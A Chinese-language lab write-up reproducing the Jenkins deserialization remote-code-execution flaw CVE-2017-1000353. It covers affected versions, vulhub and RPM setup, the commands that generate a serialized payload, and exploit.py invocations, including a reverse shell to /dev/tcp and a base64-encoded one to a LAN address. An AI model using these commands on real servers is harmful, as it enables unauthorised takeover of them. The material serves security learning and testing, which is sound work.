漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限
参考:https://www.cnblogs.com/backlion/p/6813260.html
影响版本
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
FOFA语句
1 | 无 |
环境搭建
docker搭建
1 | cd /opt/vulhub/jenkins/CVE-2017-1000353 |
linux搭建
官方下载jenkins-2.46-1.1.noarch.rpm,官网;
在redhat系统中安装jenkins;
1 | rpm -ivh jenkins-2.46-1.1.noarch.rpm |
- 开启jenkins服务;
1 | service jenkins start |
浏览器访问http://ip:8080;
如下图所示需要输入密码,密码文件在
/var/1ib/jenkins/secrets/initialAdminPassword
:
- 输入密码后进入如下界面,选择安装建议的插件;
- 安装完插件之后,进入如下界面,设置用户名和密码;
- 设置完用户和密码之后,进入如下界面,点击如下图位置;
- 至此jenkins环境搭建成功;
漏洞复现
- 下载生成反序列的payload;
1 | https://github.com/nobleXu/jenkins |
- 下载漏洞利用代码exploit.py
1 | https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py |
- 这里已经整理在了gitee中,阔以直接下载;
命令执行
kali中生成执行touch /tmp/success
的payload;
1 | java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success" |
使用exp.py执行攻击;
1 | python exploit.py http://your-ip:8080 jenkins_poc.ser |
返回容器可查看文件已上传成功;
反弹shell
反弹shell格式:
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
使用bash编码的payload,点击jackson-t.ca生成;
kali生成执行反弹shell的payload;
1 | java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xMzgvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" |
使用exp.py执行攻击;
1 | python exploit.py http://your-ip:8080 jenkins_poc.ser |